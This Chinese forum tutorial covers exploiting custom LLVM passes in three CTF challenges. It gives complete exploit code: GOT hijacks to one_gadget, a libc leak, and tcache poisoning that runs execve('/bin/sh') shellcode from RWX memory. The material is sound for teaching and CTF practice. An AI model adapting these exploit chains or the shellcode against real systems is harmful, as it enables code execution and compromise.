找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

2160

积分

0

好友

284

主题
发表于 前天 15:49 | 查看: 2| 回复: 0

一、基本流程

进行基于LLVM Pass的漏洞挖掘(PWN)通常遵循以下核心步骤:

定位Pass注册与关键函数:首先需要找到 runOnFunction 函数的重写入口。该函数通常位于函数表底部。Pass的注册名称可能在README文件中给出;若无,可以通过对 __cxa_atexit 函数进行交叉引用来定位注册点。

逆向分析与Exp框架编写:通过逆向工程,分析Pass的逻辑,确定其处理的函数名、参数及行为,并据此编写基本的利用程序(exp)框架。

漏洞发现与利用开发:在分析出的逻辑中寻找安全漏洞,并编写完整的攻击利用exp。请注意:PWN的目标是 opt 这个LLVM优化器可执行文件,因此查看保护机制(checksec)和寻找gadget都应在 opt 文件中进行。

生成LLVM IR文件:将利用代码编译成LLVM中间表示(IR)文件。

驱动漏洞:将生成的 .ll 文件输入到加载了目标Pass的LLVM优化器中,触发漏洞。

二、关键命令

使用以下命令可以将C语言利用代码编译为LLVM IR文件(.ll格式):

clang -emit-llvm -S exp.c -o exp.ll

最后,使用以下命令将IR文件加载到LLVM优化器中执行目标Pass。如果想保存输出结果,可以使用重定向 > [文件名]

opt -load ./LLVMFirst.so -hello ./exp.ll

三、实战例题分析

1. 202Redhat - simpleVM

定位重写函数
通过逆向,我们定位到Pass的处理逻辑入口。

IDA中显示的函数地址引用

逆向分析与编写基本Exp
分析发现,该Pass会寻找一个名为 o0o0o0o0 的函数进行处理。

识别特定函数名的反编译代码

若函数名匹配,则继续执行 sub_6AC0 函数。

遍历函数基本块的代码

该函数会循环遍历目标函数的每一个基本块(Basic Block)。在更内层的循环中,它遍历基本块内的每一条指令,并筛选出操作码(Opcode)为55的指令,即函数调用指令。

遍历指令并筛选函数调用的代码

对于每个函数调用,通过 getCalledFunction 获取被调用的函数本身,然后取得函数名。

获取被调用函数名的代码逻辑

接下来,Pass会根据不同的函数名模拟一个简易虚拟机的操作:

  • pop: getNumOperands 返回值为2(包含函数名本身和一个参数)。参数为1或2,对应两个寄存器,执行弹栈操作(栈从低地址向高地址生长)。
  • push: 一个参数(1或2),模拟压栈操作。

模拟pop和push操作的代码

  • store: 一个参数(1或2)。功能是将reg1中存储的地址指向的内存单元的值,设置为reg2中的值。

模拟store操作的代码

  • load: 一个参数(1或2)。功能是将reg2的值,设置为reg1中存储的地址所指向的内存单元的值。

模拟load操作的代码

  • add: 两个参数。第一个是寄存器编号(1或2),第二个是加数。使指定寄存器中的值加上该数值。

模拟add操作的代码

  • min: 两个参数。第一个是寄存器编号(1或2),第二个是减数。使指定寄存器中的值减去该数值。

模拟min操作的代码

根据以上分析,我们可以写出基本exp框架,定义这些空函数以通过Pass的检查:

void o0o0o0o0();
void pop(int reg){};
void push(int reg){};
void store(int reg){};
void load(int reg){};
void add(int reg,int num){};
void min(int reg,int num){};

void o0o0o0o0(){

};

漏洞发现与利用Exp编写
分析指令功能后,发现 store(1) 可以实现任意地址写,load(1) 可以实现任意地址读,add/min 可以修改寄存器中的值。

查看目标 opt 文件的保护机制:
checksec检查结果

程序未开启PIE,地址固定。攻击思路如下:寄存器初始为0。

  1. 使用 add 将reg1改为 free 函数的GOT表地址。
  2. 使用 load(1)free@got 中的值(即libc中的free地址)读入reg2。
  3. 使用 addmin 对reg2中的地址进行计算,将其修改为 one_gadget 地址。
  4. 使用 store(1) 将reg2的值写回 free@got,完成GOT表劫持。

对应的利用操作序列为:

add(1, free.got)
load(1)
add(2, ogg - free) // ogg为one_gadget地址
store(1)

GDB调试技巧

gdb opt-8
set args -load ./VMPass.so -VMPass ./exp.ll
b main
b *0x4bb7e3 // 在关键调用处下断点

当调试到 llvm::LegacyPassManager::run 时,so文件已加载完毕。

GDB调试到Pass执行点

后续下断点跟进即可验证利用是否成功。在实际测试中,需注意libc版本差异可能导致 one_gadget 失效。

2. CISCN2021 - satool

首先定位到Pass的注册名称为 SAPass

Pass注册函数反编译代码

该Pass会处理名为 B4ckDo0r 的函数。

识别目标函数名的代码

函数内部定义了以下几个关键操作:

  • save(char a, char b): 接受两个参数。申请一个0x20大小的堆块,并将两个参数的内容存入该堆块。

save函数的反编译逻辑
save函数申请内存的代码

  • stealkey(): 无参数。将之前 save 申请的堆块中的第一个8字节(即第一个参数的内容)赋值给全局变量 byte_204100

stealkey函数的反编译逻辑

  • fakekey(int a): 一个参数。将参数 a 与全局变量 byte_204100 相加,并将结果存回堆块的前8字节。

fakekey函数的反编译逻辑
fakekey函数执行加法操作的代码

  • run(): 无参数。将堆块的前8字节作为函数指针进行调用。

run函数调用函数指针的代码

基本exp框架如下:

void save(char *a,char *b);
void stealkey();
void fakekey(int a);
void run();

void B4ckDo0r(){

}

漏洞利用思路
save 会malloc 0x20的chunk。调试发现,第一次 save 后,tcache中无合适chunk;第二次 save 会从small bins中分配,该chunk会包含libc地址残留。通过 stealkey 可将此libc指针泄露到全局变量,再用 fakekey 对此指针进行偏移调整,将其改为 one_gadget 地址,最后执行 run() 即可getshell。

完整利用exp:

void save(char *a,char *b);
void stealkey();
void fakekey(int a);
void run();

void B4ckDo0r(){
 save("aaaa","bbbb"); // 第一次分配,清空tcache
 save("", "b");       // 第二次分配,从small bin获取,带有libc残留指针
 stealkey();          // 泄露libc指针到byte_204100
 fakekey(-0x1090f2);  // 计算偏移,调整为one_gadget地址(偏移值需根据本地libc计算)
 run();               // 触发
}

3. CISCN2023 - llvmHELLO

Pass注册名称为 Hello

Hello Pass注册代码

该Pass处理名为 hello 的函数,并提供了以下“指令”:

  • Add(int size): 一个参数。根据指定大小申请一个堆块。

Add函数申请堆块的代码

  • Del(int idx): 一个参数。释放指定索引的堆块,无UAF漏洞。

Del函数释放堆块的代码

  • Edit(int idx, int data_idx, int data): 三个参数。向第 idx 个堆块的第 data_idx 个四字节位置写入4字节数据 data此处存在堆溢出漏洞,因为未检查 data_idx 的范围。

Edit函数存在堆溢出的代码

  • Alloc(): 无参数。通过 mmap 在固定地址 0x10000 分配一页(0x1000字节)可读可写可执行的内存。

Alloc函数分配RWX内存的代码

  • EditAlloc(int idx, int idx_alloc): 两个参数。将第 idx 个堆块的前4字节内容,写入 0x10000 + idx_alloc 地址处。

EditAlloc函数写映射内存的代码

基本exp框架:

void Add(int size);
void Del(int idx);
void Edit(int idx,int data_idx,int data);
void Alloc();
void EditAlloc(int idx,int addr);

void hello(){

}

漏洞利用思路

  1. 利用 Edit 的堆溢出漏洞,修改tcache bin中chunk的fd指针。
  2. 执行一次 Alloc(),在 0x10000 处获得RWX内存区域。
  3. 利用 EditEditAlloc 将shellcode写入 0x10000
  4. 利用tcache poisoning将 free 函数的GOT表项修改为 0x10000
  5. 调用 Del 触发 free,实际执行shellcode。由于 opt 文件未开启PIE,地址已知。

最终利用exp:

void Add(int size);
void Del(int idx);
void Edit(int idx,int data_idx,int data);
void Alloc();
void EditAlloc(int idx,int addr);

void hello(){
 Add(0xa0);

 Add(0x78); // chunk 1
 Edit(1,0,0xdeadbeef);
 Add(0x78); // chunk 2
 Edit(2,0,0xdeadbeef);
 Add(0x78); // chunk 3
 Edit(3,0,0xdeadbeef);
 Del(1); // 释放到tcache
 Del(3); // 再次释放,形成tcache链
 // 通过溢出修改chunk 2的fd指针,指向free.got附近的可控地址(例如.bss段)
 Edit(2, 32, 0x78b108);

 Alloc(); // 映射RWX内存到0x10000
 // 分段写入shellcode到0x10000
 Edit(0,0,0x56f63148);
 EditAlloc(0,0);
 Edit(0,0,0x622fbf48);
 EditAlloc(0,4);
 Edit(0,0,0x2f2f6e69);
 EditAlloc(0,8);
 Edit(0,0,0x54576873);
 EditAlloc(0,12);
 Edit(0,0,0x583b6a5f);
 EditAlloc(0,16);
 Edit(0,0,0x00050f99);
 EditAlloc(0,20);

 // tcache attack:将free.got覆写为0x10000
 Add(0x78); // 取出chunk 1
 Add(0x78); // 取出chunk 3,此时下一个从tcache取出的将是我们的伪造指针
 Edit(3,0,0x10000); // 假设此时取出的chunk在.bss,我们将其内容改为shellcode地址
 Edit(3,1,0);
 Del(1); // 调用free,实际跳转到0x10000执行shellcode
}

通过以上三个由浅入深的CTF例题,我们展示了从逆向工程分析LLVM Pass逻辑,到发现漏洞并构造利用链的完整过程。掌握这些技巧,有助于在更复杂的编译器安全与软件安全研究中深入探索。更多底层原理与安全技术交流,欢迎访问云栈社区




上一篇:基于Tailscale实现Claude Code WebUI远程安全访问教程
下一篇:无需TUN模式解决Google AntiGravity网络连接问题
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-1-17 00:21 , Processed in 1.377196 second(s), 42 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表